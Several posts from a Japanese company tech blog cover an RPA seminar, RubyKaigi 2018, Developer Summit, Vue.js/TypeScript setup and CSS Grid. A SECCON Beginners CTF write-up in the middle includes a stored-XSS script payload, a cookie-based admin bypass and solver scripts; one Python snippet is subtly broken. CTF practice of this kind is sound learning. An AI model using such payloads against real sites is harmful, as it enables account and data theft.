RPAセミナー参加レポート

お疲れ様です。第1事業部の西槇と申します。 初めての投稿ですので拙い文章になるかと存じますが、最後まで読んでいただけると幸いです。 (写真をあまり撮れていなかったので、文章が多めです….)

はじめに、私の自己紹介をいたします。ゼネットに入社してから2年目の、まだまだひよっこな文系SEです。様々な現場を見てきた経験を生かして仕事が出来るよう、日々努力しております。ちなみに好きな食べ物は酸辣湯麵です。

今回私は、話題沸騰中の「RPA」について理解を深めるべく、6/22(金)に行われたセゾン情報システムズ様主催の「業務自動化RPAセミナー」に参加いたしました。5名の講演者の講義を拝聴しましたが、どの講義も内容が濃い上にとても分かりやすく、よりRPAについて理解する事が出来ました。全ての講義についてお話ししたいところですが、今回は特に印象に残った講義を取り上げたいと思います。

「RPA」とは?

まずは、本題に入る前に「RPA」とは何かを簡単にご説明したいと思います。RPAとは、「Robotic Process Automation」の略称で、2016年頃から徐々に注目されてきているキーワードの一つです。この言葉には、広義的な意味と、狭義的な意味とで異なる2つの意味を持っています。 前者は、「ソフトウェアロボットによるホワイトカラー業務(データ入力/集計業務など)の自動化」の事を指します。一方後者は、広義的な意味での「RPA」の中のクラス*1の一つを指し、「定型業務を自動的に処理することが出来るソフトウェアロボット」を指します(RPAは後者の意味でよく使われています)。 私も以前、ソフトウェアロボットとしてのRPAの導入に関わる業務を経験しましたが、多数部署へのRPA導入計画などもあり、RPAに大きな期待を抱いている事が現場からもひしひしと伝わっていました。

RPAセミナー講義について

それでは、次にRPAセミナーの感想についてお話いたします。 特に印象に残ったのは、『日立グループのRPA活用事例と、その経験から学ぶRPAとの上手な付き合い方』についての講義でした。講義ではRPA導入が上手く進まない企業が多い現状と、そのような状況に陥ってしまう要因と対策を、実例を用いてお話しいただきました。 その中でも「RPAと他ツールを組み合わせ、適材適所で活用する事によって高い保守性を実現させる」というお話がとても興味深かったです。今まで、RPAのみを使用した自動化業務の実例しか見た事がなかったため、今回の講義によって自分の中の自動化に対する選択肢がより広くなったと感じました。 f:id:zenet-tech:20180816131827j:plain (RPAセミナーの様子)

最後に

RPAセミナーに参加して感じた事は、やはりRPAのようなデジタルレイバー(仮想知的労働者)の需要は増加傾向にある、という事です。セミナー会場にいらした方々も、様々な業種の方がいらっしゃいました。 つまり、どの業種にも業務自動化の流れが来ている、という事が分かります。そして同時に、業務自動化に関する正しい知識と認識や、デジタルレイバーの管理方法などを伝授するスキルを持つ人材が必要になると考えられます。 RPAは今後も大きく展開していく可能性があると思います。どのように展開されていくのか、またどのようなスキルが必要になっていくのか、更に注目していこうと思います。

*1:「判断力」や「自己学習能力」によって分けられるクラス

  • Class1:RPA 自己学習能力はなく、定義されたルールに従って処理を行う。
  • Class2:EPA RPAより多くのデータを処理し、分析する機能を有する。AIと同義。
  • Class3:CA  データを分析した上で多様な選択肢を提案する。AIと同義。

RubyKaigi2018参加レポート

システム事業部の五十島です。 今年も5/31〜6/2に仙台で開催されたRubyKaigi2018に参加してきました。
弊社からは4人参加し、内2名は会社から旅費+チケット代が出ています。*1

会場

今年のRubyKaigiの会場は、仙台国際センターでした。
会場周辺はとても静かですが、ちょっと歩けば町中まで行けるかなり便利な場所です。

f:id:zenet-tech:20180617233411j:plain f:id:zenet-tech:20180617233420j:plain

近くにアイススケートの発祥の地があるため、最寄りの「国際センター駅」にはアイススケートで有名なお二人のパネルが設置されています。

f:id:zenet-tech:20180617233332j:plain

セッション

今回は型の話やRuboCopなどのlint関連の話が多かったような印象です。
他にも、Ruby2.6で入るであろうJITコンパイラの話、スピードアップ系、mrubyなど・・・おなじみの話ももちろんありました。
特に面白かったものをいくつかピックアップしていきます。

Keynote (Mats)

f:id:zenet-tech:20180617233411j:plain

今年の1日目最初のKeynoteセッションはまつもとひろゆきさんでした。*2箴言 Proverbs」というタイトルです。 3つの大きなテーマで話されていました。

1つ目「名は体を表す」命名規則についてです。

  • 「何をしたいのか」がわかるメソッド名がいい! -> yield_self を then に変更しました。
  • kaminariみたいな何をするかわからないgem名はだめだね
  • Googleアビリティが高い名前をつけると良い。一文字もじったような名前とかもいいよね。

2つ目「時は金なり」パフォーマンス改善、簡潔さの話です。

  • Rubyは簡潔にかける。型がないから更にコンパクトにかける
  • Ruby2.6からJITコンパイラが導入され高速化 => パフォーマンス改善
  • 将来的に複数のCronで動かせるように・・・なるかも

3つ目「塞翁が馬」

  • Ruby is Dead:毎年Rubyは死んでいる。そして、毎年復活する
  • モデルが太りすぎる問題

The Method JIT Compiler for Ruby 2.6 (k0kubun)

こちらは3日目のセッションになります。
名言「C is Dead」が飛び出し、クソコラまで作成されたRubyKaigiの(悪い意味で)歴史に残るセッションではなかったのかと思います。
内容はJITコンパイラの最適化手法で、名言がなくても良いセッションでした。
現在公開されているRuby2.6.0-preview2には、並列実行のバグがあるため本番運用では使用しないでくださいとのことでした。 

speakerdeck.com

お弁当

周辺に食事処が少ないためか、お弁当でした。
5種類もあり、どのお弁当も美味しかったです。

f:id:zenet-tech:20180617233717j:plain f:id:zenet-tech:20180617233729j:plain

おわりに

来年度も弊社はRubyKaigiの参加費を出していきたいと考えております。 Rubyには力を入れ始めているので、興味がある方はぜひご応募ください。

*1:自分は自費です

*2:RubyKaigi2017は2日目です

RubyKaigi2018参加レポート パート1

システム事業部の北川と申します。ここでブログを書くのは初めてなので温かい目で見てもらえると幸いです! ブログの本題に入る前に自分のプロフィールを簡単に紹介します。

Zenet歴     今年で4年目
業界歴     約5年
仕事内容    webアプリ開発
Ruby経験     約3年
好きな言語   もちろんRuby!
興味があること IoT
超最近の趣味  Railsでアプリ開発
好きなお酒   ビール

こんな感じです。 見てもらえるとわかるようにRubyはまだまだです。 そんな中、先日仙台で開催されたRubyKaigi2018に参加してきました。 初参加のRubyKaigiでは多くの方の色々な話を聞けました。 印象に残った話を取り上げたいと思います。

Keynote Rubyの生みの親であるまつもとゆきひろさんのKeynoteです。 まつもとさんがはことわざからプログラミングについて学べることを話しました。中でも印象的残ったのが「名は体を表す」ということわざの話です。 プログラミングではクラスやメソッド、変数などに名前をつけますが、どういう振る舞いをするかを名前に込めるので非常に重要になります。また、テストコードにおいても中身にあったテスト名を書かなければ誤解のもとになります。 良い名前をつければそのモノが何を示しているかがひと目で分かるようになるので慎重に選ぶべきなのです。 私の現場ではまさに名前が分かりづらいということで問題になっています。リーダブルコードを読んで名前の重要度を理解していたのでこの話はとても共感できました。

Firmware programming with mruby/c Hitoshi HASUMIによるmruby/cについての発表です。 mruby/cとは「省メモリで動作できることにより、低消費電力で稼働できるとのこと」だそうです。 HASUMIさんはIoTのプロジェクトで酒造現場などの品温変化をインターネット経由でスマホ等から監視できるようにしたそうです。 RubyKaigiに参加するまでmruby/cという存在を知りませんでした。またRubyでIoTを開発できることも知りませんでした。 この発表を受けてIoTをとても身近に感じ自分たちでも開発してみようという話が上がりました。 具体的な内容としては、Raspberry Pi にUSBマイクを取り付けて音を認識できるようにし、一定上の音を認識したらアラートを上げるようなモノを考えています。

TRICK 2018 (FINAL) 意味不明なプログラムコンテスト「TRICK FINAL」です。 業務には全く使えないけどおお!ってなったり笑えるような変なプログラミング(褒め言葉)が発表されました。 個人的に特にすごいと思ったのはmame さん作の回転しながら自身を出力するコードです。 入賞したコードは https://github.com/tric/trick2018 で取得することができるようなので興味ある方は是非見てください。 TRICK 2018のときが一番会場が盛り上がっていたように思えます。 また、RubyKaigiの中で一番コードを書きたいと思えた瞬間でもありました。

■最後に 正直難しくて理解出来なかった話のほうが多かったです。 しかしとても良い刺激を受けて自分のRubyやプログラミングに対するモチベーションが上がりました。それと同時に自分の未熟さを痛感して意識を変えるきっかけにもなりました。 RubyKaigi後の懇親会でRuby committerさんや多くのRubyistさん達と話せたことも良い経験です。 来年のRubyKaigiは4月に九州で開催される予定です。 次も参加して今年以上に自分の糧にします。

SECCON 2018 BeginnersCTF に参加しました(Write-up)

こんにちは、システム事業部の村田です。

5/26〜27に行われていた、SECCON 2018 BeginnersCTFに、弊社の有志で集まって参加しました。
Beginnersということで初心者向けの問題も多く、前回チャレンジしたSECCON 2017 Online CTFよりもある程度解けて楽しかったです。

が、やはりpwn、reversing系の問題は全くわかりませんでした・・・
次参加するときは、事前に少し勉強してみようと思います。

以下が、今回のスコアでした。 f:id:zenet-tech:20180528184942p:plain f:id:zenet-tech:20180528184953p:plain

470ポイントで206位、ちょっと頑張れば手が届く問題が多く、初心者の私としては非常にありがたかったです。

ここからは、それぞれ解答したメンバーにwrite upを書いてもらおうと思います。

[Warmup] Greeting(Web)

宮崎です。 管理者adminならフラグを表示してくれる問題でした。 ソースコードが記載されていたので読んでみると cookieにadminがいるかどうかで判断しているようでした。 postだと偽物にする仕様のようで、getで渡してあげると正解のようです。

フラグ => ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}

[Warmup] Veni, vidi, vici(Crypto)

十島です。 こちらの問題はpart1、2、3の3つのファイルからフラグを探し出すというものです。 ファイルの内容は次の通りです。

# part1
Gur svefg cneg bs gur synt vf: pgs4o{a0zber

# part2
Lzw kwugfv hsjl gx lzw xdsy ak: _uDskk!usd_u

# part3
{ʎɥdɐɹɓ0ʇdʎᴚ :sı ɓɐlɟ ǝɥʇ ɟo ʇɹɐd pɹıɥʇ ǝɥ⊥

それぞれみて見ると、part3は逆さ文字ということに気がつきます。 置き換えて見ると以下のようになり、フラグの最後が取得できました。

# part3
{ʎɥdɐɹɓ0ʇdʎᴚ :sı ɓɐlɟ ǝɥʇ ɟo ʇɹɐd pɹıɥʇ ǝɥ⊥
=> The threird part of the flag is: Rypt0graphy}

part3の形式からpart1、part2も同様の形式だと判断できるので、 以下のようにアルファベットを入れ替えていきます。

# part1
   Gur svefg cneg bs gur synt vf: pgs4o{a0zber
=> The first part of the flag is: ctf4b{m0nore 

# part2
   Lzw kwugfv hsjl gx lzw xdsy ak: _uDskk!usd_u
=> The second part of the flag is: _cLass!cal_c 

フラグはctf4b{m0nore_cLass!cal_cRypt0graphy}となります。

てけいさんえくすとりーむず(Misc)

村田です。

問題のurlにncコマンドで接続すると、100問の計算問題を300秒以内に解答しろと言われます。 私は3桁の四則演算は3秒では解けないので、Rubyでscriptを作りました。

require 'socket'

TCPSocket.open("tekeisan-ekusutoriim.chall.beginners.seccon.jp", 8690) do |s|
  11.times{puts s.gets}
  100.times do
    puts s.gets
    calc = s.gets(' ').chop.to_i.send(s.gets(' ').chop, s.gets(' ').chop.to_i)
    puts calc
    puts s.gets(' ').chop
    s.print("#{calc}\n")
    s.flush
  end
  
  s.each_line { |line| puts line }
end

実行すれば無事100問解いてくれます。

(Stage.98)
1588
=
(Stage.99)
1727
=
(Stage.100)
566796
=
Congrats.
Flag is: "ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}"

Rubyの標準入出力をちゃんと使ったことがなかったので改行周りでちょっと時間かかりましたが、なんとか。。。

Streaming(Crypto)

スマートではないのですが、自分なりの解き方説明です。(五十島

コードを読むと変換した結果をencryptedに出力しているようなので、開いてみます。 普通に開いてもよくわからないので、バイナリで出力してみると・・・数字が出力できたのでビンゴ!

$ od -tu1 encrypted
0000000   206  30 101  12   6  95 148  58  87  73  29  23 245  23  89  63
0000020   156  64 157  74  25  49 141  38  62  81 253   3 206  82  86  22

フラグなので最初は、ctf4b{のはずなので・・・ [206, 30] でcを表しているはずと仮定する。 プログラムから頑張って逆算すると、cで使用したseedが「15741」とわかるので、あとはencode.pyを利用して逆算プログラムを作成します。

import os

class Stream:
    A = 37423
    B = 61781
    C = 34607
    def __init__():
        self.seed = 15741

    def __iter__(self):
        return self

    def next(self):
        self.seed = (self.A * self.seed + self.B) % self.C
        return self.seed

g = Stream()
mod = [148, 87, 29, 245, 89, 156, 157, 25, 141, 62, 253, 206, 86]
res = [ 58, 73, 23, 23, 63, 64, 74, 49, 38, 81, 3, 82, 22]

for i in range(0, len(mod), 1):
    a = res[i] * 256 + mod[i]
    flag_i = a ^ g.next()
    print flag_i
# => 27747 26413 26995 11621 24947 26988 31021 28786 25956 26979 29793 25196 25981

出力された数字を文字列に変換して、フラグが取得できました。 ctf4b{lcg-is-easily-predictable}

Gimme your comment(Web)

新規登録をするときに本文に以下を入れて投稿すると・・・フラグが取得できる。(五十島) 勝手にUser-Agentをformに入れてsubmitする処理です。

<script>
    $(document).ready(function () {
        var userAgent = window.navigator.userAgent.toLowerCase();
        $('.form-control').val(userAgent);
        $('form').submit();
    });
</script>

もっとスマートにできるといいのだけど、自分のレベルではこれが限界でした。

Vue.js + TypeScrptの環境構築(パート2)

こんにちは! システム事業部の村田です。

zenet-tech.hatenablog.com

の続きです

間違い等ありましたらコメント頂けると幸いです。


使う主なもの

  • Vue.js
  • TypeScript
  • webpack
  • yarn

また、執筆時の各versionは

  • Vue.js(2.5.13)
  • webpack(4.6.0)
  • yarn(1.6.0)
  • ts-loader(4.2.0)
  • vue-loader(14.2.2)
  • typescript(2.8.3)

です。 (part1よりvarsionが上がってます・・・part1の手順は同じく再現できているのでご了承ください)

TypeScript用のライブラリを追加 yarn add typescript ts-loader

tsconfig.jsonを生成

/node_modules/.bin/tsc --init

vue.js公式の推奨設定にしたがい最低限の設定を行います。

{
  "compilerOptions": {
    /* Basic Options */
    "target": "ES2015",
    "module": "es2015",
    /* Strict Type-Checking Options */
    "strict": true,
    /* Module Resolution Options */
    "moduleResolution": "node",
    "esModuleInterop": true
  }
}

webpack.config.jsをTypeScriptを支えるように更新します。

webpack.config.js

const path = require('path');

module.exports = {
  mode: 'development',
  // 拡張子をtsに
  entry: './src/index.ts',
  output: {
    path: path.join(__dirname, 'public'),
    filename: 'bundle.js'
  },
  devServer: {
    contentBase: 'public',
    port: 4000
  },
  resolve: {
    // 拡張子にtsを追加
    extensions: ['.ts', '.js', '.vue', '.json'],
    alias: {
      'vue$': 'vue/dist/vue.esm.js'
    }
  },
  module: {
    // TypeScriptのコンパイラを追加
    rules: [
      {
        test: /\.ts$/,
        loader: 'ts-loader'
      }
    ]
  }
};

これで、最低限.tsのファイルをコンパイルできるようになりました。

このままだと、vue.jsのsfcが使え無いので、そちらも使えるように更に追記します。

yarn add vue-loader vue-template-compiler

webpack.config.js

const path = require('path');

module.exports = {
  mode: 'development',
  entry: './src/index.ts',
  output: {
    path: path.join(__dirname, 'public'),
    filename: 'bundle.js'
  },
  devServer: {
    contentBase: 'public',
    port: 4000
  },
  resolve: {
    extensions: ['.ts', '.js', '.vue', '.json'],
    alias: {
      'vue$': 'vue/dist/vue.esm.js'
    }
  },
  module: {
    rules: [
      // .vueファイルをコンパイルするvue-loaderを指定
      {
        test: /\.vue$/,
        loader: 'vue-loader'
      },
      {
        test: /\.ts$/,
        loader: 'ts-loader',
        options: {
          // .vueファイルをtsとして監視するように追加
          appendTsSuffixTo: [/\.vue$/]
        }
      }
    ]
  }
};

また、.vueファイルの情報を定義したファイルを、.d.ts拡張子で定義します

vue.d.ts

declare module "*.vue" {
    import Vue from 'vue'
    export default Vue
}

現在はまだ、sfcを使ってい無いので、使うように変更します。

index.ts

import Vue from 'vue'
import App from './App.vue'

// App.vueを描画する様に変更する
new Vue({
  el: '#app',
  template: '<App/>',
  components: { App }
})

App.vue

<template>
  <div id="app">
    <h1>Hello Vue with ts</h1>
    <Sub/>
  </div>
</template>

<script>
// 出力するサブコンポーネントを定義
import Sub from './pages/Sub.vue'

export default {
    components: {
        Sub
    }
}
</script>

Sub.vue

<template>
  <div>
    <h2>sub commpornent</h2>
  </div>
</template>

この状態で、 yarn start して、localhost:4000にアクセスできれば成功です!

f:id:zenet-tech:20180421183245p:plain

お疲れ様でした!

Developer Summit 2018 に行ってきました

こんにちは。システム事業部の五十島です。

2月15・16日、ホテル雅叙園東京で行われたデブサミ2018に初参加してきました。
デブサミってなに?という方がいらっしゃるかもしれませんが、簡単に言うと「技術の祭典」ですね。
技術的な話や開発プロセスの話、マネージメント・・・エンジニアが自分らしく生きる生き方、などなどIT関連の話であればなんでもありのイベントです。
詳しくは↓のサイトをみてみてください。とても楽しい!・・・はず(自分的には楽しかったです)

event.shoeisha.jp

今回、聴いてきたのは以下の2つです。

カイゼン・ジャーニー 〜たった一人からはじめて、「越境」するチームをつくるまで〜

以下の書籍の内容をかいつまんで話していました。 www.shoeisha.co.jp

話の中で良いと思ったところは、「自分がまずは始めてみる」こと。 誰かを巻き込んで始めれることが一番いいのですが、簡単に行かない場合が多いと思います。
一人で朝会、一人でふりかえり、一人でタスクボード、一人でタスクマネージメント ...etc
一人だから無駄だということはなく、始めてみて確かに「良かった」と思えるところを周りに伝えてみる。 そして、巻き込んで一緒にやることが大切だと感じました。

属人化したフロントエンドのJavaScriptを、‘新規機能開発を止めずに’改善するために行った取り組みについて。及びその経過報告。

このセッションでは、以下二つの問題についての解決方法について話していました。

  1. 複数のファイルにまたがるための複雑さ => 複数のJSファイルから修正したい箇所を見つけるのが困難であった。
  2. DOMとイベントリスナーが離れすぎている => DOMを変更したがために、イベントが動作しなくなる。または、動的に作りすぎていて追えない。

1. について、Webpackを使ってファイルを一つにまとめて、修正を楽にするという試みを行う。
2.について、Reactを使ってDOMとイベントを同じファイルに書くようにした。

解決策を聞いて確かにそうすると分かりやすいとは思いましたが、自分としてはRailsのようなフロント側も含んだ場合の事例を少し聞きたかったと思いました。 (ちょっと残念)


今年も仕事は詰まっていたのですが、毎年泣く泣く諦めていたので、直前に「明日、デブサミ行ってきます」という暴挙にでてしまいました。
(注意:良い子の社員の皆様は事前に相談しましょう)

1日目の2コマしか聴くことができませんでしたが、大変有意義だったのでまた次も(夏サミ?)にもぜひ参加したいですね。

ちなみに弊社からは私以外にも2、3人は参加していたようです。

CSS Grid Layoutのすすめ(パート2)

こんにちは。システム事業部の五十島です。 前回の記事に引き続き CSS Grid Layoutのご紹介です。 前回はただ単に並べただけで、float: leftl; float: right とあまり大差がないように感じたと思いますが、 今回は任意の位置に表示する手法を説明していきます。

前回のおさらい

前回までは横を3等分に分割する設定を行いました。 各要素は1格子に収まる形なので、縦は自動的に2段になります。 前回のhtmlのdivタグにclass属性を付与するところから始まります。

ソースコード
gird.html

<div id="grid-main">
  <div class="grid1">要素1 </div>
  <div class="grid2">要素2</div>
  <div class="grid3">要素3</div>
  <div class="grid4">要素4</div>
  <div class="grid5">要素5</div>
</div>

grid.css

#grid-main {
  display: grid; /* grid layoutを指定 */
  grid-template-columns: 1fr 1fr 1fr; /* 3等分に分割 */
  grid-auto-rows: 100px;
}

表示結果 f:id:zenet-tech:20171219131657p:plain

基礎 その2

今回は以下のような順で説明していきます。

  • 横の配置を指定する
  • 縦の配置を指定する
  • z-indexを指定して、表示順序を入れ替える
  • 入れ子にしてみる

横の配置を指定する

まずは、「要素1」を横に伸ばして見ましょう。 以下のCSSを追記すると、画像のように「要素1」が横長になりました。 「要素2」は2段目に表示され、各要素がずれたような表示になります。

ソースコード

.grid1 {
  grid-column-start: 1;
  grid-column-end: 4;
}

表示結果 f:id:zenet-tech:20180226221448p:plain

grid-dolumn-startが要素の横の開始位置、grid-column-endが要素の終了位置を表しています。 開始・終了位置はブロック単位ではなく、グリッドの線になります。今回の場合は、横を3分割しているため、グリッドの横の線は4本になります。

以下のように「要素1」と「要素4」の横の開始・終了位置を変更すると、「要素4」は3列目の1行から表示されるようになります。 基本は、横の場合はどんどんずれていくイメージになります。

ソースコード

.grid1 {
  grid-column-start: 3;
  grid-column-end: 4;
}

.grid4 {
  grid-column-start: 1;
  grid-column-end: 3;
}

表示結果 f:id:zenet-tech:20180226221451p:plain

縦の配置を指定する

grid-row-startgrid-row-endで縦の配置を指定することができます。 「要素1」を左下に、「要素4」を右上に移動させるために以下のようにCSSを書き換えます。 特に位置指定していないものに関しては、順番に表示されていると思います。

ソースコード

.grid1 {
  grid-column-start: 3;
  grid-column-end: 4;
  grid-row-start: 2;
  grid-row-end: 4;
}

.grid4 {
  grid-column-start: 1;
  grid-column-end: 3;
  grid-row-start: 1;
  grid-row-end: 2;
}

表示結果 f:id:zenet-tech:20180219224230p:plain

また、重なるような配置のCSSを書いてみましょう。 「要素5」と「要素4」が、「要素3」と「要素1」が重なって見えます。 基本的には先に書かれたタグは後ろ、後から書かれたタグが手前に表示されるようになっています。

ソースコード

.grid1 {
  grid-column-start: 3;
  grid-column-end: 4;
  grid-row-start: 2;
  grid-row-end: 4;
}

.grid4 {
  grid-column-start: 1;
  grid-column-end: 3;
  grid-row-start: 1;
  grid-row-end: 2;
}

.grid3 {
  grid-column-start: 1;
  grid-column-end: 4;
  grid-row-start: 3;
  grid-row-end: 4;
}

.grid5 {
  grid-column-start: 2;
  grid-column-end: 3;
  grid-row-start: 1;
  grid-row-end: 3;
}

表示結果 f:id:zenet-tech:20180219224234p:plain

z-indexで重なり制御

要素の重なりを制御したいときは、z-indexを指定しましょう。 要素1、4はz-index: 1、要素3、5はz-index: 0に設定すると、表示優先度が入れ換わりました。 ここまでくると、かなり自由にレイアウトが組めるのではないでしょうか。

ソースコード

.grid1 {
  grid-column-start: 3;
  grid-column-end: 4;
  grid-row-start: 2;
  grid-row-end: 4;
  z-index: 1;
}

.grid4 {
  grid-column-start: 1;
  grid-column-end: 3;
  grid-row-start: 1;
  grid-row-end: 2;
  z-index: 1;
}

.grid3 {
  grid-column-start: 1;
  grid-column-end: 4;
  grid-row-start: 3;
  grid-row-end: 4;
  z-index: 0;
}

.grid5 {
  grid-column-start: 2;
  grid-column-end: 3;
  grid-row-start: 1;
  grid-row-end: 3;
  z-index: 0;
}

表示結果 f:id:zenet-tech:20180219225219p:plain

入れ子

ちなみにGrid Layoutは入れ子も可能です。 以下のコードをブラウザで表示してみると、「要素1」に「子要素」が入っていることがわかります。 結構簡単にGrid Layoutを入れ子にすることが可能です。

ソースコード
grid2.html

<div id="grid-main">
  <div class="grid1">要素1
    <div id="grid-sub">
      <div class="sub1">子要素1</div>
      <div class="sub2">子要素2</div>
      <div class="sub3">子要素3</div>
    </div>
  </div>
  <div class="grid2">要素2</div>
  <div class="grid3">要素3</div>
  <div class="grid4">要素4</div>
  <div class="grid5">要素5</div>
</div>

grid2.css

#grid-main {
  display: grid; /* grid layoutを指定 */
  grid-template-columns: 1fr 1fr 1fr; /* 3等分に分割 */
  grid-auto-rows: 100px;
}

.grid1 {
  grid-column-start: 3;
  grid-column-end: 4;
  grid-row-start: 2;
  grid-row-end: 4;
  z-index: 1;
}

.grid4 {
  grid-column-start: 1;
  grid-column-end: 3;
  grid-row-start: 1;
  grid-row-end: 2;
  z-index: 1;
}

.grid3 {
  grid-column-start: 1;
  grid-column-end: 4;
  grid-row-start: 3;
  grid-row-end: 4;
  z-index: 0;
}

.grid5 {
  grid-column-start: 2;
  grid-column-end: 3;
  grid-row-start: 1;
  grid-row-end: 3;
  z-index: 0;
}

表示結果 f:id:zenet-tech:20180219231312p:plain

さいごに

今回のことができれば、結構なんでも応用がきくと思います。
Grid Layoutはかなり便利で、ブラウザごとの差異を気にすることがなく自由なレイアウトができることが魅力です。 (完全対応していないIEは除く)
もっとGrid Layoutのことを知りたい人は、Mozilla のドキュメントを読んでみることをお勧めします。 developer.mozilla.org

次回は、応用編で凝ったWebデザインを作ってみたいと思います。 ではでは